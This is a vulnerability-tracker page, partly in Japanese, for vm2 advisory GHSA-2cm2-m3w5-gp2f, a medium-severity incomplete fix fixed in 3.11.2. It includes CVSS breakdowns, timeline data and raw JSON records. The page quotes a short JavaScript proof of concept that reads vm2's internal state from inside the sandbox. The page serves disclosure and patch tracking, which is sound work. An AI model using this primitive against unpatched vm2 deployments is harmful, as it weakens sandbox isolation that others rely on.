nday
GHSA-2cm2-m3w5-gp2f

vm2 has access to `VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL`

に公開されました。修正済みバージョンは vm2 3.11.2 です。4 つの PoC ソースのいずれにも未掲載です。CISA KEV には現時点で未掲載です。

why these tags

nday derives these tags by fixed rules from the facts below; NVD, the CNA and other sources do not assign them. Vocabulary and rules: ~/tags.

remote, unauthenticated
AV:N、PR:N、UI:N in CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N (CVSS 3.1) from GitHub advisory GHSA-2cm2-m3w5-gp2f
network
AV:N in CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N (CVSS 3.1) from GitHub advisory GHSA-2cm2-m3w5-gp2f
no authentication required
PR:N in CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N (CVSS 3.1) from GitHub advisory GHSA-2cm2-m3w5-gp2f
no user interaction
UI:N in CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N (CVSS 3.1) from GitHub advisory GHSA-2cm2-m3w5-gp2f
npm
GHSA-2cm2-m3w5-gp2f: npm packages vm2
現在の段階
PAT
公開日時
CVSS 基本値
5.3 MEDIUM v3.1

ライフサイクル

横軸は UTC。点=分単位、幅広の帯=日付のみ、白抜き=不明または推定。
日時不明
DIS公開
05-08T16:22Z
PAT修正
vm2 3.11.2
ANA解析
記録なし
POCPoC
記録なし
ITW悪用
記録なし
KEVKEV
記録なし

概要

### Summary

https://github.com/patriksimek/vm2/security/advisories/GHSA-wp5r-2gw5-m7q7 is not fully patched.

### Details

It is still possible to get access to VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL.

### PoC

const {VM} = require("vm2");
const vm = new VM();
console.log(vm.run(`
 globalThis['VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL']
`));

Original text of GitHub advisory GHSA-2cm2-m3w5-gp2f, shown as published.

Exploit conditions

What an attack needs, read from the CVSS vector.
Attack vector AV:N
Network: the attacker only needs to reach it over the network
Attack complexity AC:L
Low: no special conditions; the attacker can expect repeatable success
Privileges required PR:N
None: no account or authorization needed
User interaction UI:N
None: no action by anyone other than the attacker

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

CVSS 3.1 vector from GitHub advisory GHSA-2cm2-m3w5-gp2f.

イベント履歴

+DIS公開

ghsa が公開を報告。

出典 ghsa · nday が に一括取り込み · 生データ
{
  "id": 473863,
  "type": "disclosed",
  "source": "ghsa",
  "url": "https://github.com/advisories/GHSA-2cm2-m3w5-gp2f",
  "occurred_at": "2026-05-08T16:22:52Z",
  "observed_at": "2026-11-16T19:07:30.503253Z",
  "is_backfill": true,
  "dedupe_key": "GHSA-2cm2-m3w5-gp2f",
  "detail": {
    "state": "PUBLISHED",
    "ghsa_id": "GHSA-2cm2-m3w5-gp2f",
    "withdrawn_at": null
  }
}
日時不明ソースに時刻なし
+PAT修正版公開

アドバイザリ記載の修正済みバージョン:vm2 3.11.2。修正コミットへのリンクあり。アドバイザリの公開は 。修正版そのもののリリース日時は記録なし。

出典 ghsa · nday が に一括取り込み · 生データ
{
  "id": 473864,
  "type": "patch_released",
  "source": "ghsa",
  "url": "https://github.com/advisories/GHSA-2cm2-m3w5-gp2f",
  "occurred_at": null,
  "observed_at": "2026-11-16T19:07:30.503253Z",
  "is_backfill": true,
  "dedupe_key": "GHSA-2cm2-m3w5-gp2f",
  "detail": {
    "cvss": {
      "cvss_v3": {
        "score": 5.3,
        "vector_string": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N"
      },
      "cvss_v4": {
        "score": 0.0,
        "vector_string": null
      }
    },
    "cwes": [
      {
        "name": "Protection Mechanism Failure",
        "cwe_id": "CWE-693"
      }
    ],
    "ghsa_id": "GHSA-2cm2-m3w5-gp2f",
    "packages": [
      {
        "name": "vm2",
        "ecosystem": "npm",
        "first_patched_version": "3.11.2",
        "vulnerable_version_range": "< 3.11.2"
      }
    ],
    "severity": "medium",
    "references": [
      "https://github.com/patriksimek/vm2/security/advisories/GHSA-2cm2-m3w5-gp2f",
      "https://github.com/patriksimek/vm2/releases/tag/v3.11.2",
      "https://github.com/patriksimek/vm2/commit/99d410bb7e0d607c56e68b420720a586dc0dd300",
      "https://github.com/advisories/GHSA-2cm2-m3w5-gp2f"
    ],
    "fix_commit_urls": [
      "https://github.com/patriksimek/vm2/commit/99d410bb7e0d607c56e68b420720a586dc0dd300"
    ],
    "github_reviewed_at": "2026-05-08T16:22:52Z",
    "advisory_updated_at": "2026-11-05T21:42:53Z",
    "source_code_location": "https://github.com/patriksimek/vm2",
    "advisory_published_at": "2026-05-08T16:22:52Z"
  }
}

Report an error

report an error or omission

Something on this page wrong or missing? Tell the editors; if they accept it, this page's revision log says so publicly. Upstream data is not changed.

Discussion

0 comments

No comments yet.